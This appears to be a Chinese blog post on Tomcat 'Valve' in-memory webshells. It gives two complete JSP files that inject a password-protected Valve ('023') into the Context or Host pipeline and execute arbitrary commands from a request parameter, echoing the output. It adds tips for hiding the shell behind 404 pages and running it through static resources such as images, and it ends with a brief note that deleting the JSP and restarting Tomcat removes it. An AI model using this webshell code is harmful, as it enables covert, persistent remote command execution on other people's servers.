zoukankan      html  css  js  c++  java
  • tomcat Valve内存马

      随着hw演习,红蓝对抗越来越激烈,攻防对抗研究无止尽,以前hw,黑客上传个jsp文件,直接kill掉就可以了,现在kill掉还得重启服务才可以,现在的木马是直接注入内存.

      应用场景:文件上传漏洞等

      反序列化漏洞,是直接注入生效,无需文件落地访问落地生效,今天围绕着文件访问落地注入内存马:

      我博客写了四篇tomcat文章,就是为tomcat内存马做铺垫:

      直接上demo:

    <%@ page import="org.apache.catalina.valves.ValveBase" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="org.apache.catalina.connector.Response" %>
    <%@ page import="org.apache.catalina.Valve" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.mapper.MappingData" %>
    <%@ page import="org.apache.catalina.Pipeline" %>
    <%@ page import="org.apache.catalina.Context" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="org.apache.catalina.core.*" %>
    <%@ page import="org.apache.catalina.connector.Connector" %>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%!
        public class myValue extends ValveBase {
            public void invoke(Request req, Response resp) throws IOException, ServletException {
                if ("023".equals(req.getParameter("pwd"))) {
                    java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream();
                    int a = -1;
                    byte[] b = new byte[2048];
                    resp.getWriter().write("<pre>");
    
                    while ((a = in.read(b)) != -1) {
                        resp.getWriter().write(new String(b));
                    }
                    resp.getWriter().write("</pre>");
                }
                //注入调用invoke
                this.getNext().invoke(req, resp);
            }
    
        }
    %>
    <%
        myValue myValve = new myValue();
        //获取request属性
        Field request1 = request.getClass().getDeclaredField("request");
        request1.setAccessible(true);
        Request req = (Request) request1.get(request);
        System.out.println(req);
        //获取请求上下文地址,并转换成StandardContext
        StandardContext context = (StandardContext) req.getContext();
        Pipeline pipeline = context.getPipeline();
        pipeline.addValve(myValve);
    
    %>
    <html>
    <head>
        <title>$Title$</title>
    </head>
    <body>
    <h1>hello JavaWeb</h1>
    </body>
    </html>

      启动tomcat运行:

      

       这里可以设置响应404,更隐匿,这时候内存马已经被注入成功.

      访问一个不存在的页面:

      

      如果做了报错统一处理,是可以在不存在的一个页面上rce的,为什么这里可以执行命令,因为我做了缺省servlet:

      

     这段代码的缺陷是必须是可访问的界面,不能在jpg/ico/png静态资源上执行命令回显,我测试是不能在图片上回显....

        如果我是一张静态资源图片,是无法执行命令的,只会显示jpg,执行任何命令都没反应:

        

      对前面的代码做改造,因为有了一些tomcat架构设计基础,简单的改造下:

        首先访问test.jsp,让内存马注入生效

          

      再次访问jpg图片:  

        

      访问favicon.ico:

      

      

      代码如下:

    <%@ page import="org.apache.catalina.valves.ValveBase" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="org.apache.catalina.connector.Response" %>
    <%@ page import="org.apache.catalina.Valve" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.mapper.MappingData" %>
    <%@ page import="org.apache.catalina.Pipeline" %>
    <%@ page import="org.apache.catalina.Context" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="org.apache.catalina.core.*" %>
    <%@ page import="org.apache.catalina.connector.Connector" %>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%!
        public class myValue extends ValveBase {
            public void invoke(Request req, Response resp) throws IOException, ServletException {
                if ("023".equals(req.getParameter("pwd"))) {
                    java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream();
                    int a = -1;
                    byte[] b = new byte[2048];
                    resp.getWriter().write("<pre>");
    
                    while ((a = in.read(b)) != -1) {
                        resp.getWriter().write(new String(b));
                    }
                    resp.getWriter().write("</pre>");
                }
                //注入调用invoke
                this.getNext().invoke(req, resp);
            }
    
        }
    %>
    <%
        myValue myValve = new myValue();
        //获取request属性
        Field request1 = request.getClass().getDeclaredField("request");
        request1.setAccessible(true);
        Request req = (Request) request1.get(request);
        System.out.println(req);
        StandardHost host = (StandardHost) req.getHost();
        Pipeline pipeline = host.getPipeline();
        pipeline.addValve(myValve);
    
    %>
    <html>
    <head>
        <title>$Title$</title>
    </head>
    <body>
    <h1>hello JavaWeb</h1>
    </body>
    </html>

      漏洞修复:

        (1)先删除jsp

      被中内存马后,删除jsp后一定要重启,这里我删除test.jsp,但是我没重启,仍然可以执行命令操作:

        

      删除jsp木马后,下一步就是重启tomcat服务:

        

      重启后,一切恢复正常,内存马清理成功.

      注意:如果没发现jsp shell,那么大概率是直接注入/攻击者删除了jsp,这时候直接重启tomcat服务即可解决问题

      Valve内存马学习参考链接:https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw

      内存马现在花样套路层出不穷,花样百出,这里笔者只是抛砖引玉,安全之路任道众远!

      

      

  • 相关阅读:
    python(5)python安装for Mac
    jmeter(16)安装jmeter插件jar包 pluginsmanager.jar
    jmeter(17)参数化之csv随机参数化【Random CSV Data Set Config】
    jmeter(14)参数化之csv文件设置
    jmeter(11)jdbc请求及请求后的响应结果如何提取
    pku2192(并查集+枚举)
    stl中的next_permutation算法
    pku1204 Word Puzzles
    hdu1075 What Are You Talking About
    pku1733 Parity game(离散化+并查集拓展应用)
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14992056.html
Copyright © 2011-2022 走看看